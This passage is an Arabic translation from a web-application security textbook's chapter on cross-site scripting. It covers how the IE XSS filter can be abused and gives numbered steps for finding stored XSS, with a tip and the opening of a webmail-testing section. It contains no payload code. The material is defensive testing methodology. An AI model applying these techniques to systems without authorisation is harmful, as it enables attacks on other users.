‫ﻧﺘﻴﺠﺔ ًﻟﺬﻟﻚ‪ ،‬ﻳﻤُﻜﻦ ﻟﻠﻤﻬُﺎﺟﻢ ﺍﺳﺘﻐﻼﻝ ﺍﻟﻤﺮُﺷﺢِّ ﻟﺘﺤﻴﻴﺪ ﻧﺺ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ ﺑﺎﻟﺘﻄﺒﻴﻖ‬
‫ﺍﻟﺬﻱﻳﻈﻬﺮ ﺿﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺑﺸﻜﻞ ٍﺍﻧﺘﻘﺎﺉﻲ‪ .‬ﺇﺫﺍ ﺃﺩﺭﺝ ﺍﻟﻤﻬُﺎﺟﻢ ﺟﺰءﺍً ﻣﻦ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ‬
‫ﺿﻤﻦﻗﻴﻤﺔ ﻣﻌُﺎﻣﻞ ﻃﻠﺐ‪ ،‬ﻓﺈﻥ ﻣﺮُﺷﺢِّ ‪ IE XSS‬ﻳﺮﻯ ﺃﻥ ﻧﻔﺲ ﻧﺺ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻳﻈﻬﺮ ﻓﻲ‬
‫ﺍﻟﻄﻠﺐﻭﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻭﻳﻌُﺪﻝّ ﺍﻟﻨﺺ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﻤﻨﻊ ﺗﻨﻔﻴﺬﻩ‪.‬‬

‫ﺗﻢﺗﺤﺪﻳﺪ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺆﺩﻱ ﻓﻴﻬﺎ ﺗﺤﻴﻴﺪ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ ﺇﻟﻰ ﺗﻐﻴﻴﺮ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ‬
‫ﻟﺠﺰءﻻﺣﻖ ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﺘﻀﻤﻦ ﺍﻧﻌﻜﺎﺳﺎً ﻟﻤﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻗﺪ ﻳﻌﻨﻲ ﻫﺬﺍ ﺍﻟﺘﻐﻴﻴﺮ ﻓﻲ‬
‫ﺍﻟﺴﻴﺎﻕﺃﻥ ﺗﺼﻔﻴﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺪﺧﻼﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ ﻟﻢ ﺗﻌﺪ ﻛﺎﻓﻴﺔ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﻧﻌﻜﺎﺱ‬
‫ﻟﺸﻦﻫﺠﻮﻡ ‪ XSS‬ﺑﻄﺮﻳﻘﺔ ﻟﻢ ﺗﻜﻦ ﻣﻤﻜﻨﺔ ﺑﺪﻭﻥ ﺍﻟﺘﻐﻴﻴﺮﺍﺕ ﺍﻟﺘﻲ ﺃﺟﺮﺍﻫﺎ ﻣﺮُﺷﺢِّ ‪ XSS‬ﻓﻲ ﻣﺘﺼﻔﺢ‬
‫ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻧﺸﺄ ﻓﻴﻬﺎ ﻫﺬﺍ ﻋﺎﺩﺓ ًﻣﺎ ﺗﻀﻤﻨﺖ ﺣﺎﻻﺕ ﺧﺎﺻﺔ ﺫﺍﺕ‬
‫ﻣﻴﺰﺍﺕﻏﻴﺮ ﻋﺎﺩﻳﺔ‪ ،‬ﺃﻭ ﻛﺸﻔﺖ ﻋﻦ ﻋﻴﻮﺏ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺴﺎﺑﻘﺔ ﻣﻦ ﻣﺮُﺷﺢِّ ‪ XSS‬ﻓﻲ ﻣﺘﺼﻔﺢ‬
‫ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ‪ ،‬ﻭﺍﻟﺘﻲ ﺗﻢ ﺇﺻﻼﺣﻬﺎ ﻻﺣﻘﺎً‪.‬‬

‫ﺍﻷﻫﻢﻣﻦ ﺫﻟﻚ‪ ،‬ﺃﻥ ﻗﺪﺭﺓ ﺍﻟﻤﻬﺎﺟﻢ ﻋﻠﻰ ﺗﻌﻄﻴﻞ ﺷﻴﻔﺮﺓ ﺗﻄﺒﻴﻖ ﻣﺎ ﺑﺸﻜﻞ ﺍﻧﺘﻘﺎﺉﻲ ﻳﻤﻜﻦ‬
‫ﺍﺳﺘﻐﻼﻟﻬﺎﻟﺸﻦ ﻫﺠﻤﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺗﻤﺎﻣﺎً ﻣﻦ ﺧﻼﻝ ﺍﻟﺘﺪﺧﻞ ﻓﻲ ﺁﻟﻴﺎﺕ ﺍﻟﺘﺤﻜﻢ ﺍﻷﻣﻨﻴﺔ ﻟﻠﺘﻄﺒﻴﻖ‪ .‬ﻭﻣﻦ‬
‫ﺍﻷﻣﺜﻠﺔﺍﻟﺸﺎﺉﻌﺔ ﻋﻠﻰ ﺫﻟﻚ ﺇﺯﺍﻟﺔ ﺷﻴﻔﺮﺓ ﻛﺴﺮ ﺍﻹﻃﺎﺭﺍﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪ ،(13‬ﻭﻟﻜﻦ ﻗﺪ ﺗﻈﻬﺮ‬
‫ﺃﻣﺜﻠﺔﺃﺧﺮﻯ ﻋﺪﻳﺪﺓ ﺗﺘﻌﻠﻖ ﺑﺸﻔﺮﺓ ﺧﺎﺻﺔ ﺑﺎﻟﺘﻄﺒﻴﻖ ﺗﺆﺩﻱ ﻣﻬﺎﻡ ﺃﻣﻨﻴﺔ ﺩﻓﺎﻋﻴﺔ ﺭﺉﻴﺴﻴﺔ ﻋﻠﻰ ﺟﺎﻧﺐ‬
‫ﺍﻟﻌﻤﻴﻞ‪.‬‬

‫ﺍﻟﻌﺜﻮﺭﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‬


‫ﺗﺘﺪﺍﺧﻞﻋﻤﻠﻴﺔ ﺗﺤﺪﻳﺪ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ ﺑﺸﻜﻞ ﻛﺒﻴﺮ ﻣﻊ ﻋﻤﻠﻴﺔ ﺗﺤﺪﻳﺪ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨُﻌﻜﺴﺔ‪.‬‬
‫ﺗﺘﻀﻤﻦﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻓﺮﻳﺪﺓ ﻓﻲ ﻛﻞ ﻧﻘﻄﺔ ﺩﺧﻮﻝ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻣﻊ ﺫﻟﻚ‪،‬‬
‫ﻳﺠﺐﻣﺮﺍﻋﺎﺓ ﺑﻌﺾ ﺍﻻﺧﺘﻼﻓﺎﺕ ﺍﻟﻤﻬﻤﺔ ﻟﺰﻳﺎﺩﺓ ﻋﺪﺩ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻟﻤﻜُﺘﺸﻔﺔ ﺇﻟﻰ ﺃﻗﺼﻰ ﺣﺪ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪482‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫‪.١‬ﺑﻌﺪ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻓﺮﻳﺪﺓ ﺇﻟﻰ ﺟﻤﻴﻊ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻤﻜﻨﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ‬
‫ﻣﺮﺍﺟﻌﺔﺟﻤﻴﻊ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﻭﻇﺎﺉﻔﻪ ﻣﺮﺓ ﺃﺧﺮﻯ ﻟﺘﺤﺪﻳﺪ ﺃﻱ ﺣﺎﻻﺕ ﺗﻌُﺮﺽ ﻓﻴﻬﺎ ﻫﺬﻩ‬
‫ﺍﻟﺴﻠﺴﻠﺔﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ‪ .‬ﻗﺪ ﺗﻌُﺮﺽ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﺘﺤﻜﻢ ﺑﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺍﻟﻤﺪُﺧﻠﺔ ﻓﻲ ﻣﻮﻗﻊ‬
‫ﻭﺍﺣﺪ)ﻣﺜﻞ ﺣﻘﻞ ﺍﻻﺳﻢ ﻓﻲ ﺻﻔﺤﺔ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺸﺨﺼﻴﺔ( ﻓﻲ ﺃﻣﺎﻛﻦ ﻣﺘﻌﺪﺩﺓ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ‪) .‬‬
‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﺗﻜﻮﻥ ﻓﻲ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻟﻠﻤﺴﺘﺨﺪﻡ‪ ،‬ﺃﻭ ﻓﻲ ﻗﺎﺉﻤﺔ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﻤﺴﺠﻠﻴﻦ‪ ،‬ﺃﻭ ﻓﻲ ﻋﻨﺎﺻﺮ ﺳﻴﺮ ﺍﻟﻌﻤﻞ ﻣﺜﻞ ﺍﻟﻤﻬﺎﻡ‪ ،‬ﺃﻭ ﻓﻲ ﻗﻮﺍﺉﻢ ﺟﻬﺎﺕ‬
‫ﺍﺗﺼﺎﻝﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ‪ ،‬ﺃﻭ ﻓﻲ ﺍﻟﺮﺳﺎﺉﻞ ﺃﻭ ﺍﻷﺳﺉﻠﺔ ﺍﻟﺘﻲ ﻧﺸﺮﻫﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﺃﻭ ﻓﻲ‬
‫ﺳﺠﻼﺕﺍﻟﺘﻄﺒﻴﻖ(‪ .‬ﻗﺪ ﻳﺨﻀﻊ ﻛﻞ ﻇﻬﻮﺭ ﻟﻠﺴﻠﺴﻠﺔ ﻟﻤﺮﺷﺤﺎﺕ ﺣﻤﺎﻳﺔ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺠﺐ‬
‫ﻓﺤﺼﻪﺑﺸﻜﻞ ﻣﻨﻔﺼﻞ‪.‬‬

‫‪.٢‬ﺇﻥ ﺃﻣﻜﻦ‪ ،‬ﻳﺠﺐ ﻣﺮﺍﺟﻌﺔ ﺟﻤﻴﻊ ﺃﺟﺰﺍء ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻟﺘﺤﺪﻳﺪ‬
‫ﻇﻬﻮﺭﺃﻱ ﺑﻴﺎﻧﺎﺕ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﻏﻴﺮ ﺍﻹﺩﺍﺭﻳﻴﻦ ﺍﻟﺘﺤﻜﻢ ﻓﻴﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ‬
‫ﻳﺴﻤﺢﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ ﺑﻤﺮﺍﺟﻌﺔ ﻣﻠﻔﺎﺕ ﺍﻟﺴﺠﻞ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ‪ .‬ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺟﺪﺍً ﺃﻥ‬
‫ﻳﺤﺘﻮﻱﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻋﻦ ﻃﺮﻳﻖ‬
‫ﺇﻧﺸﺎءﺇﺩﺧﺎﻻﺕ ﺳﺠﻞ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ‪ HTML‬ﺿﺎﺭ‪.‬‬

‫‪.٣‬ﻋﻨﺪ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﺇﻟﻰ ﻛﻞ ﻣﻮﻗﻊ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻗﺪ ﻻ ﻳﻜﻔﻲ ﺃﺣﻴﺎﻧﺎً ﻧﺸﺮﻫﺎ ﻛﻤﻌﻠﻤﺔ‬
‫ﻓﻲﻛﻞ ﺻﻔﺤﺔ‪ .‬ﺗﺘﻄﻠﺐ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺍﺗﺒﺎﻉ ﻋﺪﺓ ﻣﺮﺍﺣﻞ ﻗﺒﻞ ﺗﺨﺰﻳﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ‬
‫ﺍﻟﻤﺮﺳﻠﺔﻓﻌﻠﻴﺎً‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺘﻀﻤﻦ ﺇﺟﺮﺍءﺍﺕ ﻣﺜﻞ ﺗﺴﺠﻴﻞ ﻣﺴﺘﺨﺪﻡ‬
‫ﺟﺪﻳﺪ‪،‬ﻭﻃﻠﺐ ﺷﺮﺍء‪ ،‬ﻭﺗﺤﻮﻳﻞ ﺃﻣﻮﺍﻝ‪ ،‬ﺇﺭﺳﺎﻝ ﻋﺪﺓ ﻃﻠﺒﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺑﺘﺴﻠﺴﻞ ﻣﺤﺪﺩ‪ .‬ﻟﺘﺠﻨﺐ‬
‫ﺇﻏﻔﺎﻝﺃﻱ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ‪ ،‬ﻣﻦ ﺍﻟﻀﺮﻭﺭﻱ ﻣﺘﺎﺑﻌﺔ ﻛﻞ ﺣﺎﻟﺔ ﺍﺧﺘﺒﺎﺭ ﺣﺘﻰ ﺍﻛﺘﻤﺎﻟﻬﺎ‪.‬‬

‫‪.٤‬ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ ،‬ﻋﻠﻴﻚ ﺩﺭﺍﺳﺔ ﺟﻤﻴﻊ ﺟﻮﺍﻧﺐ ﻃﻠﺐ ﺍﻟﻀﺤﻴﺔ ﺍﻟﺘﻲ‬
‫ﻳﻤﻜﻨﻚﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ‪ .‬ﻳﺸﻤﻞ ﺫﻟﻚ ﺟﻤﻴﻊ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ‪ ،‬ﻭﻛﻞ ﺭﺃﺱ ‪ ،HTTP‬ﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ‪.‬‬
‫ﻓﻲﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺃﻳﻀﺎً ﻓﺤﺺ ﺃﻱ ﻗﻨﻮﺍﺕ ﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ ﻳﺴﺘﻘﺒﻞ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻣﻦ ﺧﻼﻟﻬﺎ ﻭﻳﻌﺎﻟﺞ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ‪ .‬ﺗﻌُﺪ ّﻫﺬﻩ ﺍﻟﻘﻨﻮﺍﺕ ﻧﺎﻗﻼﺕ‬
‫ﻫﺠﻮﻡﻣﻨﺎﺳﺒﺔ ﻹﻃﻼﻕ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﺭﺍﺟﻊ ﻧﺘﺎﺉﺞ ﺗﻤﺎﺭﻳﻦ ﺗﻌﻴﻴﻦ ﺗﻄﺒﻴﻘﻚ )ﺍﻧﻈﺮ‬
‫ﺍﻟﻔﺼﻞ‪ (٤‬ﻟﺘﺤﺪﻳﺪ ﻛﻞ ﻣﻨﻄﻘﺔ ﻫﺠﻮﻡ ﻣﺤﺘﻤﻠﺔ‪.‬‬

‫‪.٥‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺴﻤﺢ ﺑﺘﺤﻤﻴﻞ ﺍﻟﻤﻠﻔﺎﺕ ﻭﺗﻨﺰﻳﻠﻬﺎ‪ ،‬ﻓﺎﻓﺤﺺ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﺩﺍﺉﻤﺎً ﺑﺤﺜﺎً‬
‫ﻋﻦﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﺳﺘﺘﻢ ﻣﻨﺎﻗﺸﺔ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻔﺼﻴﻠﻴﺔ ﻻﺧﺘﺒﺎﺭ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ‬
‫ﺍﻟﻮﻇﺎﺉﻒﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ‪.‬‬

‫‪.٦‬ﻓﻜﺮّ ﻣﻠﻴﺎً ﻓﻲ ﺃﻱ ﻭﺳﻴﻠﺔ ﺃﺧﺮﻯ ﻳﻤُﻜﻦ ﻣﻦ ﺧﻼﻟﻬﺎ ﺗﺨﺰﻳﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﺑﻬﺎ ﺑﻮﺍﺳﻄﺔ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻭﻋﺮﺿﻬﺎ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻋﺮﺿﺖ ﻭﻇﻴﻔﺔ‬
‫ﺍﻟﺒﺤﺚﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺎﺉﻤﺔ ًﺑﻌﻨﺎﺻﺮ ﺍﻟﺒﺤﺚ ﺍﻟﺸﺎﺉﻌﺔ‪ ،‬ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺇﺩﺧﺎﻝ ﺣﻤﻮﻟﺔ ‪XSS‬‬
‫ﻣﺨُﺰﻧّﺔﺑﺎﻟﺒﺤﺚ ﻋﻨﻬﺎ ﻣﺮﺍﺕ ٍﻋﺪﻳﺪﺓ‪ ،‬ﻣﻊ ﺃﻥ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺍﻷﺳﺎﺳﻴﺔ ﻧﻔﺴﻬﺎ ﺗﻌُﺎﻟﺞ ﻣﺪُﺧﻼﺗﻚ‬
‫ﺑﺄﻣﺎﻥ‪.‬‬
‫‪483‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺑﻌﺪﺗﺤﺪﻳﺪ ﺟﻤﻴﻊ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺨُﺰﻥّ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻴﺎﻧﺎﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ‪،‬‬
‫ﺛﻢﻳﻌُﺎﺩ ﻋﺮﺿﻬﺎ ﻻﺣﻘﺎً ﻋﻠﻰ ﺍﻟﻤﺘﺼﻔﺢ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﺗﺒﺎﻉ ﻧﻔﺲ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﻤﻮﺿﺤﺔ ﺳﺎﺑﻘﺎً ﻟﻠﺘﺤﻘﻖ‬
‫ﻣﻦﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨُﻌﻜﺴﺔ ﺍﻟﻤﺤُﺘﻤﻠﺔ‪ .‬ﺃﻱ ﺗﺤﺪﻳﺪ ﺍﻟﻤﺪُﺧﻼﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻟﺘﻀﻤﻴﻦ ‪ JavaScript‬ﺻﺎﻟﺢ‬
‫ﺿﻤﻦ‪ HTML‬ﺍﻟﻤﺤُﻴﻂ‪ ،‬ﺛﻢ ﻣﺤﺎﻭﻟﺔ ﺗﺠﺎﻭﺯ ﺃﻱ ﻣﺮُﺷﺤّﺎﺕ ﺗﻌُﻴﻖ ﻣﻌﺎﻟﺠﺔ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ‪.‬‬

‫ﻧﺼﻴﺤﺔﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ ،‬ﻳﺴﻬﻞ ﺗﺤﺪﻳﺪ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ ﺍﻟﺘﻲ ﻳﺤُﺘﻤﻞ ﺃﻥ‬
‫ﺗﻜﻮﻥﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ‪ .‬ﻳﻤﻜﻨﻚ ﺍﺧﺘﺒﺎﺭ ﻣﻌﻠﻤﺔ ﻭﺍﺣﺪﺓ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻭﻣﺮﺍﺟﻌﺔ ﻛﻞ ﺍﺳﺘﺠﺎﺑﺔ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ‬
‫ﻇﻬﻮﺭﻟﻤﺪﺧﻼﺗﻚ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻷﻣﺮ ﺃﺻﻌﺐ ﻣﻊ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﺇﺫﺍ ﺃﺭﺳﻠﺖ ﻧﻔﺲ‬
‫ﺳﻠﺴﻠﺔﺍﻻﺧﺘﺒﺎﺭ ﻟﻜﻞ ﻣﻌﻠﻤﺔ ﺇﻟﻰ ﻛﻞ ﺻﻔﺤﺔ‪ ،‬ﻓﻘﺪ ﺗﺠﺪ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﺗﻈﻬﺮ ﻣﺮﺓ ﺃﺧﺮﻯ ﻓﻲ ﻣﻮﺍﻗﻊ‬
‫ﻣﺘﻌﺪﺩﺓﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻗﺪ ﻻ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﻣﻦ ﺍﻟﺴﻴﺎﻕ ﺃﻱ ﻣﻌﻠﻤﺔ ﻣﺴﺆﻭﻟﺔ ﻋﻦ ﺍﻟﻈﻬﻮﺭ ﺑﺪﻗﺔ‪.‬‬
‫ﻟﺘﺠﻨﺐﻫﺬﻩ ﺍﻟﻤﺸﻜﻠﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﻣﺨﺘﻠﻔﺔ ﻟﻜﻞ ﻣﻌﻠﻤﺔ ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ‬
‫‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻳﻤﻜﻨﻚ ﺭﺑﻂ ﺳﻠﺴﻠﺘﻚ ﺍﻟﻔﺮﻳﺪﺓ ﺑﺎﺳﻢ ﺍﻟﺤﻘﻞ ﺍﻟﺬﻱ ﺗﺮُﺳﻞ ﺇﻟﻴﻪ‪.‬‬

‫ﺗﺴُﺘﺨﺪﻡﺑﻌﺾ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻤﺤﺪﺩﺓ ﻻﺧﺘﺒﺎﺭ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ ﻓﻲ ﺃﻧﻮﺍﻉ ﻣﺤُﺪﺩﺓ ﻣﻦ‬


‫ﺍﻟﻮﻇﺎﺉﻒ‪.‬ﺗﺘﻨﺎﻭﻝ ﺍﻷﻗﺴﺎﻡ ﺍﻟﺘﺎﻟﻴﺔ ﺑﻌﻀﺎً ﻣﻨﻬﺎ ﺑﻤﺰﻳﺪ ﻣﻦ ﺍﻟﺘﻔﺼﻴﻞ‪.‬‬

‫ﺍﺧﺘﺒﺎﺭ‪ XSS‬ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻋﻠﻰ ﺍﻟﻮﻳﺐ‬

‫ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً‪ ،‬ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻣﻌﺮﺿﺔ ﺑﻄﺒﻴﻌﺘﻬﺎ ﻟﺨﻄﺮ ﺍﺣﺘﻮﺍء ﺛﻐﺮﺍﺕ ‪ XSS‬ﻣﺨُﺰﻧّﺔ‪،‬‬
‫ﻷﻧﻬﺎﺗﺘﻀﻤﻦ ﻣﺤﺘﻮﻯ ‪ HTML‬ﻣﺴُﺘﻠﻤَﺎً ﻣﺒﺎﺷﺮﺓ ًﻣﻦ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ ﺩﺍﺧﻞ ﺻﻔﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﺍﻟﻤﻌُﺮﺿَﺔﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ‪ .‬ﻻﺧﺘﺒﺎﺭ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ‪ ،‬ﻳﻔُﻀﻞّ ﺃﻥ ﺗﺤﺼﻞ ﻋﻠﻰ ﺣﺴﺎﺏ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ‬
